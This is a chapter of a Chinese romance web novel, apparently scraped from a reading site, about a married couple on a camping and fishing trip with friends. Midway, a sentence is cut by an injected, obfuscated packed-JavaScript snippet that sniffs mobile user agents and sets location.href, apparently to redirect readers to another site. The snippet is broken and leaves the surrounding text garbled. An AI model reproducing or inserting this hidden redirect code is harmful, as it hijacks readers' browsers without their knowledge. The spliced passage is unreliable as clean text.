她登时脸一烫,开始后悔自己方才的冒失邀约,改口推脱道:“还是等露营回来再说吧,我定了明早七点的闹钟,今晚得早点休息,有需要的话,我会提前跟你约时间的。” 正儿八经的语气,愣是将贺敬珩逗笑了。 他摆出“谈正事”的架子,敛笑轻咳:“好,那我等通知。” 阮绪宁眨眨眼,抓起地上的旅行包,落跑灰姑娘似的逃出衣帽间,站在贺敬珩的视觉盲区里连做几个深呼吸,这才想起来长袖外套还没有拿,可再折返回去,又是万万不愿意的。 原地踌躇了好一会儿,她终于说服自己放弃。 天气预报说了,明天是个大晴天,白天温度很高,晚上也一定不会太冷。 13. 013 次日一早。 连续按掉六个闹钟,阮绪宁终于解除了被褥的封印。 她艰难地从床上爬起来,打着呵欠走向卫生间,下一秒,与站在梳洗镜前的贺敬珩打了个照面。 男人又是一身休闲装扮,神情懒散地冲她说了声“早啊”,阮绪宁愣了愣,慌忙用手梳理蓬松的乱发。 欧式风格的洗漱池宽敞奢华,贺敬珩一侧挪了两步,腾出空间让她洗漱。 空气里弥漫着淡淡的剃须水香味,阮绪宁手握牙刷,一边漱口,一边偷瞄那家伙利落的下颌线。 贺敬珩捕捉到了她的小动作,冷不丁出声:“看我做什么?” 随即,摸了摸下巴:“怎么,这张脸也要当做参考?” 阮绪宁本能地否认:“不、不是的……” 那口气呼出去的时候,从嘴里带出些许牙膏泡沫,柠檬混合薄荷的味道在鼻尖炸裂开,她长睫微动,似是发现了什么新奇玩意儿。 贺敬轩亦然。 他低头看着随时随地释放可爱的女孩,心中默数了三个数,将目光移开:“快洗漱吧,记得把露营基地的定位发给我,我们开车过去。” 阮绪宁点点头。 并没有急于离开,贺敬珩将六棱漱口杯反扣在置物架上,又抬手调整了伸缩化妆镜的位置——方才他用过,现在,得照顾某些身材娇小的“室友”。 目测不准,他还用手比了比阮绪宁的头顶:“嗯,这个高度差不多。” 他说这话,是不是在嘲笑她个子矮? 是的,一定是的! 阮绪宁没什么威慑力地瞪了贺敬珩一眼,因瞄见情侣牙刷而产生的那点悸动,瞬间散了个干净。 * 有了贺姓司机,自是免去了临时约车的麻烦。 阮绪宁坐在副驾座上,故意不去搭理贺敬珩,结果听着车内播放的英文老歌,最终没能抵挡住困意,眼睛一闭、一睁,就到了露营基地。 艾荣已经在这里等候多时,忙前忙后帮贺敬珩卸了行李,又兴致高涨地招呼“小嫂子”去参观他的房车。 远离了城市喧嚣,阮绪宁心情不错,非常配合地提供情绪价值。 艾荣越说越起劲,转眼就到了约定的集合时间点,结果,预计的“十来个人”最终只有六人到场:艾荣、刘绍宴、程知凡和谭晴,外加一对新婚小夫妻。 原本还期盼能多认识些单身帅哥的谭晴瞬间炸毛,指着艾荣一行大声质问:“不是都说要带朋友来的吗?你们的朋友呢?” 艾荣指了指刘绍宴:“我朋友。” 刘绍宴指了指程知凡:“我朋友。” 程知凡指了指贺敬珩:“我朋友。” 状况外的贺敬珩左右各睨一眼,无可奈何地指了指艾荣:“……我朋友。” 好好好,完美闭环。 谭晴气得丢过去几记眼刀,抓起手机,临时摇人未果,只好拽着阮绪宁去找露营基地餐厅老板退订明晚十五人份的BBQ食材。 四个男人都有露营经验,三下五除二搭好了过夜的帐篷,排排坐在房车遮阳棚下面歇息。 接了艾荣抛过来的饮料,贺敬珩转身递给程知凡,顺嘴问道:“你女朋友怎么也没来?” 五人组当中第一个脱单的就是程知凡,交往多年的女朋友也是本地人,偶尔会跟他一起出来吃饭,是个稳重健谈的“知性派”。 程知凡喝了口水:“她最近申请了洛大的MBA,周末要上课。” 贺敬珩点点头。 艾荣换了个舒服点的姿势,扯开话题:“说真的,毕业以后,咱们哥几个很久没出来亲近大自然了……可惜,还差个周岑。” 刘绍宴接上话:“也不知道岑哥现在在干嘛,我们要不要给他打个视频电话?炫耀一下充实而快乐的周末生活?” 这话是说给贺敬珩听的。 但出于某种微妙的心理,顶着“周岑挚友”头衔的贺敬珩迟迟不掏手机,目光飘向不远处正在努力铺餐布的阮绪宁。 草编野餐篮、切成小块的新鲜水果、洒满糖珠的纸杯蛋糕,浅粉色的吊带裙以及笑容甜美的小姑娘…… 好像这世间的许多美好,都被那块四四方方的蓝白格子餐布给兜住了。 短暂地,属于他。 不想被破坏。 不想被一通电话、一个名字所破坏。 觉察到贺敬珩神色犹疑,艾荣轻咳一声,替他推脱:“算啦,那家伙说不定正忙着和金发碧眼的外国妹子约会呢,我们还是别去打扰人家的好事了……” 至今母胎solo的刘绍宴仰天痛饮毒鸡汤:“自己的单身固然可怕,朋友的圆满更让人揪心。” 还非要皮一下:“不过,确定是金发碧眼的妹子,不是金发碧眼的汉子吗?” 艾荣和程知凡双双沉默,最后,不约而同望向贺敬珩。 满脸写着——大哥,你倒是说句话啊。 贺敬珩本不想聊这个话题,但瞥一眼这个,又瞄一眼那个,还是开了腔:“周岑有个喜欢了很多年的姑娘。” 刻意强调了“姑娘”两个字。 刘绍宴来了精神:“你们国耀的?” 贺敬珩没吭声。 在其他人看来,这无疑是默认。 “那是‘好多年’了。”刘绍宴摸着下巴,想想又觉得不对,“在一起多久啊?” 艾荣与程知凡各自停下喝水抽烟的动作,默不作声竖起耳朵——他们三个与周岑相识较晚,又没有开诚布公聊过感情话题,不免好奇。 谁料,贺敬珩并不打算“展开说说”,只含糊应了声:“没在一起。” 听到这话,刘绍宴愤愤不平:“那姑娘什么来头,眼光这么高,居然连岑哥都看不上?” “那姑娘也喜欢他。” “啊?两情相悦,怎么没在一起?” “那姑娘不知道周岑喜欢她。” 甚至,还被一个蹩脚的理由拒绝了。 他记得,阮绪宁来表白的那个夏天,周岑正在和家里闹矛盾,闹得挺厉害,一向以精英形象示人的周鹏甚至放言,让儿子从家里“滚出去”。 贺敬珩知道,与自己的“家庭矛盾”相比,许多摩擦根本不值一提。 周岑不说,他便也不问。 男人能被自尊心折磨成什么样子,贺敬珩自己就有切身体会。 只是未曾料及,因为这点“不顺心”,周岑会拒绝喜欢了很多年的小青梅——尽管他事后委婉表示过后悔,却从未再主动争取。 贺敬珩不止一次怀疑,这条红线没能牵上,或许还有别的原因。 他不确定,也撬不开周岑的嘴。 只得任由那些事一直烂在肚子里。 局内人不知其中弯弯绕绕,更别说局外人,总之,刘绍宴光是听到那句话就炸了:“原来岑哥这么怂?那姑娘人在哪儿,我这就替岑哥说媒去!” 贺敬珩酝酿了一番:“那姑娘和别人结婚了……” “啊?移情别恋了?” “没有。”贺敬珩沉下声音,胸口莫名堵得慌,“应该,没有吧。” 虽然阮绪宁一遍又一遍强调自己“已经不喜欢周岑”了,他只当那是女孩子的口是心非。 听到这话,刘家公子当即站起身来开始撸袖子,大有义薄云天之势:“所以,那姑娘是被迫嫁人的?靠,得尽快救她!珩哥,你组织一下,咱们几个联手帮好兄弟在洛州抢个人,不是难事!顺便再把那个坏岑哥好事的混球给揍一顿!” “抢谁?” “水深火热的姑娘啊!” “揍谁?” “巧取豪夺的混球啊!” 贺敬珩薄唇紧抿,用看傻子似的眼神盯着刘绍宴:我抢我老婆?我揍我自己? 程知凡轻嗤:“行了,别把珩哥说得像‘地头蛇’似的,周岑是个有主见的,如果那事儿能有转机,他肯定也不会放弃真爱。” 筹谋得不到响应,刘绍宴只得悻悻坐下。 挺不是滋味地咂摸了一会儿“地头蛇”这个称呼,贺敬珩冷声叮嘱:“行了,这事儿以后都别提了——也别去问周岑。” 另外三人接连应声,暗自做好约定似的,相互递了烟。 有风吹过,散了积于一处的白雾,也让修剪规整的草坪如同翡翠色的湖面般荡起涟漪。 耳边是窸窸窣窣的声响,间或还能听到阮绪宁和谭晴的笑闹声,艾荣眯着眼,猛吸了一口烟,忽发感慨:“真绿啊。” 贺敬珩神色一僵,斜眼睨他。 虽然不清楚发生了什么、触了贺家继承人哪里的逆鳞,对上那道冰冷的目光,艾荣顿感周身一阵恶寒,颤颤地指向前方:“我说这树,这草,真他妈的绿啊。” 贺敬珩晃神片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12755710|134630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻,捋了把额前的发。 * 这趟露营,主打的就是一个“无所事事”。 放好行李,男男女女围坐在餐布边聊天,又吃了些谭晴和阮绪宁事先准备好的零食,随后上了艾荣的房车,转移阵地去附近钓鱼。 这个时间点日头渐盛,湖边倒是比别处凉爽些。 阮绪宁和谭晴舒舒服服躺在克米特椅上,手边是奶茶和薯片,看着几个大男人摆弄路亚竿和假饵,着实惬意。 虽然不常钓鱼,贺敬珩凭借过人的运动天赋,竟比艾荣这个“钓鱼佬”更显轻车熟路,极为潇洒地挥杆,水滴轮转动,鱼线在空中划出一道漂亮的弧度,打破平静的湖面…… 阮绪宁看得入神,忘了咀嚼嘴里的薯片。 谭晴一声讪笑,将她飞走的神思拉回来:“果然,只要周岑不在,就光明正大地看贺敬珩了。” 阮绪宁一愣:“啊?” 谭晴抓了一大把她怀里的番茄味薯片,咔哧咔哧一通炫,吃完了才道:“以前陪你去篮球场装偶遇,你嘴上说着周岑怎样、怎样,但其实有好几次我都发现,你在偷看贺敬珩……” 阮绪宁直起身子,慌忙否认:“哪、哪有!” 她的心突突直跳,精神紧张地盯着谭晴,打算随时进行反驳。 谭晴却并没有继续揶揄好友的意思,而是理性分析:“情有可原——贺敬珩确实更帅嘛。” 贺太太默默松了口气。 余光又瞥见好友不适地扭了扭屁股:“你怎么了?” 谭晴压低了声音:“大姨妈好像提前来了。” 阮绪宁蹙眉:“那边有公共厕所,要不要过去看一眼?” 谭晴被说动了,一边嘀咕着“要是真来了今晚我可不想睡帐篷”,一边猫着腰起身,谁料,跑路的动静却引来了男人们的注意。 看到腮帮鼓囊囊、像只囤粮小仓鼠似的妻子,贺敬珩轻晃了下手里的鱼竿:“要过来试试吗?” 阮绪宁怯生生地摇了摇头,感兴趣并不代表要亲自尝试。 贺敬珩没有坚持,冲更远处抬了抬下巴:“……去那边休息。” 误以为被下了逐客令,阮绪宁略显委屈地捏了捏手里的膨化食品,小声道:“我不说话了,不会把鱼吓跑的。” 贺敬珩顿了顿:“我的意思是,树荫底下凉快些。” 原来是在关心她。 阮绪宁“哦”了声,在一众促狭的眼神中搬起折叠椅,打算乖乖换个地方“观战”,结果没走几步,就听见身后传来刘绍宴的惊呼:“珩哥,你没事吧?” 他的声音挺急:“我不是故意的!你、你这个情况,要不要去医院?或者,打电话喊医生过来看看?” 艾荣几个将贺敬珩团团围住,像是出了什么事…… 阮绪宁心脏猛地一紧,丢了折叠椅就往回跑,挤进去的时候,恰巧听见贺敬珩冷声让三个损友滚蛋:“就这点小伤,你们那么紧张干嘛,都站远点儿,看着碍眼。” 她满眼关切:“怎么回事?伤着哪里了?” 贺敬珩故意拉下衣袖,遮住了肩上的划痕。 艾荣骂骂咧咧:“还不是刘绍宴这个傻……” 想到对方是个文静的小女生,他硬是将那个“逼”字咽了下去,转而瞪着神色慌张的刘绍宴,改口道:“……这个傻瓜,练了这么久还是不会甩竿,让假饵上的钩子擦着了珩哥的肩膀。” 阮绪宁又问:“严重吗?” 回答她的是贺敬珩:“只是擦破了点皮。” 云淡风轻,根本没当回事。 比起追责,眼下更重要的是解决问题,程知凡示意几人别慌:“我记得艾荣的房车里有医药箱,还是去上点药吧。” 贺敬珩根本不打算处理伤口,摆摆手打算继续钓鱼,没想到,竟被阮绪宁一把捉住手腕:“走吧,我帮你上药。” 没有抓紧。 微凉的小手滑落至他温热的掌心。 自动屏蔽掉艾荣一行的起哄声,贺敬珩不可思议地低头看向她。 若是这个时候再将手抽出来,就显得太不礼貌了…… 阮绪宁进退两难。 见自家丈夫八风不动,好似仍在抗拒,她来不及思考,主动攥紧那只比自己大了许多的、略显粗粝的手掌,语气坚定:“听话。” 贺敬珩眉峰一挑,悠悠掀眼。